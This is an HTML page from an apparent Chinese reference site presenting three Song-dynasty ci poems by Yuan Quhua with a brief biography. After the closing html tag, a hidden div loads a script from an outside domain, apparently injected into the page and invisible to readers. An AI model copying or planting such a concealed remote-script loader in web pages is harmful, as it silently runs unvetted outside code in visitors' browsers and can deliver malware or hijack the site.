<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-袁去华</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>袁去华</strong></span></div>

	<div class="Cont_tit sc">
		<h1>袁去华</h1>
		<span>［约公元一一六二年前后在世］字宣卿，江西奉新(一作豫章)人。生卒年均不详，约宋高宗绍兴末前后在世。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>剑器近</strong></div><div class="sc_det_cont">夜来雨，赖倩得东风吹住。海棠正妖绕处，且留取。悄庭户，试细听莺啼燕语，分明共人愁绪，怕春去。佳树翠阴初转午。<br/>重帘未卷，乍睡起，寂寞看风絮。偷弹清泪寄烟波，见江头故人，为言憔悴如许。彩笺无数，去却寒暄，到了浑无定据。断肠落日千山暮。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>瑞鹤仙</strong></div><div class="sc_det_cont">郊原初过雨，风数叶零乱，风定犹舞。斜阳挂深树，映浓愁浅黛。遥山媚妩。来时旧路，尚岩花、娇黄半吐。到今日惟有、溪边流水，见人如故。<br/>无语，邮亭深静，下马还寻，旧曾题处。无聊倦旅，伤离恨，最愁苦。纵收香藏镜，他年重到，人面桃花在否？念沉沉小阁幽窗，有时梦去。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>安公子</strong></div><div class="sc_det_cont">弱柳千丝缕，嫩黄匀遍鸦啼处。寒入罗衣春尚浅，过一番风雨。问燕子来时，绿水桥边路，曾画楼、见个人人否？料静掩云窗，尘满哀弦危柱。<br/>庚信愁如许，为谁都著眉端聚。独立东风弹泪眼，寄烟波东去。念永昼春闲，人倦如何度？闲傍枕、百转黄鹂语。唤觉来厌厌，残照依然花坞。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>袁去华</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>